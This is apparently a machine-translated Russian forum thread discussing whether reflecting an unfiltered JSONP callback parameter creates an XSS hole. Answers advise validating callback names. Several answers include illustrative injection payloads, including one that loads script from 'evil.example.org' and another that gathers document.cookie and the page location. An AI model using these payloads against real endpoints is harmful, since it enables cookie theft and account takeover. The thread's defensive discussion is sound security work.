Кажущаяся уязвимость jsonp xss - PullRequest
6 голосов
/ 06 января 2012

Некоторые из наших клиентов высказали мнение о предполагаемой уязвимости XSS во всех наших конечных точках JSONP, но я не согласен с тем, является ли она на самом деле уязвимостью. Хотелось узнать мнение сообщества, чтобы убедиться, что я что-то не пропустил.

Итак, как и в любой системе jsonp, у нас есть конечная точка, например:

http://foo.com/jsonp?cb=callback123

где значение параметра cb воспроизводится обратно в ответе:

callback123({"foo":"bar"});

Клиенты жаловались на то, что мы не отфильтровываем HTML в параметре CB, поэтому они придумают такой пример:

http://foo.com/jsonp?cb=<body onload="alert('h4x0rd');"/><!--

Очевидно, что для URL, который возвращает тип содержимого text/html, это создает проблему, при которой браузер отображает этот HTML, а затем выполняет потенциально вредоносный JavaScript в обработчике загрузки. Может использоваться для кражи файлов cookie и отправки их на сайт злоумышленника или даже для создания поддельного экрана входа в систему для фишинга. Пользователь проверяет домен и видит, что он доверяет ему, поэтому он отправляется в агаду и входит в систему.

Но в нашем случае мы устанавливаем заголовок типа контента равным application/javascript, что вызывает различные варианты поведения в разных браузерах. т.е. Firefox просто отображает необработанный текст, тогда как IE открывает диалог «сохранить как ...». Я не считаю ни один из них особенно пригодным для использования. Пользователь Firefox не собирается читать вредоносный текст, говорящий ему прыгать с моста и много думать о нем. А пользователь IE, вероятно, будет сбит с толку диалоговым окном «Сохранить как» и нажмет «Отмена».

Полагаю, я мог видеть случай, когда пользователь IE обманут в сохранении и открытии файла .js, который затем проходит через механизм JScript от Microsoft и получает все виды доступа к компьютеру пользователя; но это кажется маловероятным. Это самая большая угроза здесь или есть какая-то другая уязвимость, которую я пропустил?

(Очевидно, я собираюсь «исправить», включив фильтрацию, чтобы принимать только действительный идентификатор javascript, с некоторым ограничением длины на всякий случай; но я просто хотел диалог о том, какие другие угрозы я мог пропустить. )

Ответы [ 5 ]

4 голосов
/ 06 января 2012

Их внедрение должно быть примерно таким: </script><h1>pwned</h1>

Было бы относительно тривиально проверить, что $_GET['callback'] (при условии PHP) является допустимым именем функции JavaScript.

Весь смысл JSONP заключается в том, чтобы обойти ограничения браузера, которые пытаются предотвратить уязвимости типа XSS, поэтому на каком-то уровне между поставщиком JSONP и запрашивающим сайтом должно быть доверие.

ОДНАКО уязвимость появляется ТОЛЬКО есликлиент неправильно обрабатывает вводимые пользователем данные - если он жестко закодирует все свои имена обратных вызовов JSONP, то уязвимости нет.

2 голосов
/ 06 января 2012

Ваш сайт будет иметь уязвимость XSS, если имя этого обратного вызова (значение «cb») будет получено вслепую из некоторого другого ранее введенного значения.Тот факт, что пользователь может создать URL-адрес вручную, который отправляет JavaScript через API JSONP и обратно, не более интересен, чем тот факт, что он может запускать тот же самый JavaScript непосредственно через консоль JavaScript браузера.

Теперь, есливаш сайт должен был отправить обратно некоторый контент JSON в тот обратный вызов, который использовал нефильтрованный пользовательский ввод из формы, или, более того, коварно из какой-либо другой формы, которая ранее что-то сохраняла в вашей базе данных, тогда у вас возникнет проблема.Например, если в вашем ответе было поле «Комментарии»:

callback123({ "restaurantName": "Dirty Pete's Burgers", "comment": "x"+alert("haxored")+"y" })

, тогда этот комментарий, значение которого было бы x"+alert("haxored")+"y, был бы атакой XSS.Однако любой хороший JSON-кодировщик исправил бы это, заключив в кавычки символы.

При этом не было бы никакого вреда, если бы имя обратного вызова было допустимым идентификатором JavaScript.В любом случае, вы ничего не можете сделать, так как по определению ваша публичная служба JSONP для правильной работы должна делать то, что хочет клиентская страница.

1 голос
/ 11 января 2012

Еще один пример - два запроса:

http://example.org/api.php
?callback=$.getScript('//evil.example.org/x.js');var dontcare=(

, который будет вызывать:

$.getScript('//evil.example.org/x.js');var dontcare= ({ ... });

и http (s): //evil.example.org/x.js запросит:

http://example.org/api.php
?callback=new Mothership({cookie:document.cookie, loc: window.location, apidata:

, что вызовет:

new Mothership({cookie:document.cookie, loc: window.location, apidata: { .. });

Возможности бесконечны.

См. Нужно ли санировать параметр обратного вызовавызов JSONP? для примера санации обратного вызова JSON.

Также обратите внимание, что (некоторые версии?) Internet Explorer игнорирует ваш заголовок Content-Type.Он упрямый и идет искать себя в первых нескольких байтах, и если он кажется html-подобным контентом, то все в порядке с синтаксическим анализом и полным исполнением всего текста / html ...

1 голос
/ 06 января 2012

Ничто не мешает им делать что-то, что вставляет код, если это так.

Представьте себе URL, такой как http://example.com/jsonp?cb=HTMLFormElement.prototype.submit = function() { /* send form data to some third-party server */ };foo. Когда это получает клиент, в зависимости от того, как вы обрабатываете JSONP, вы можете представить возможность запуска JS произвольной сложности.

Что касается направления атаки: представьте себе HTTP-прокси, который является прозрачным перенаправляющим прокси-сервером для всех URL-адресов, кроме http://example.com/jsonp, где он принимает часть cb строки запроса и предваряет некоторый вредоносный JS перед ним, и перенаправляет на этот URL.

0 голосов
/ 06 января 2012

Как указывает Pointy, использование только прямого URL-адреса невозможно. Однако, если какой-либо из вашего собственного кода javascript делает вызовы в службу JSON с данными, предоставленными пользователем, и либо отображает значения в ответе на документ, либо eval() s ответ (будь то сейчас или когда-нибудь в будущем, как ваш приложение развивается с течением времени), тогда вы получаете действительно уязвимую уязвимость XSS.

Лично я по-прежнему считаю, что это уязвимость с низким уровнем риска, хотя сегодня она может и не использоваться. Почему бы не заняться этим сейчас и устранить риск того, что он частично ответит за внедрение уязвимости с более высоким риском в какой-то момент в будущем?

...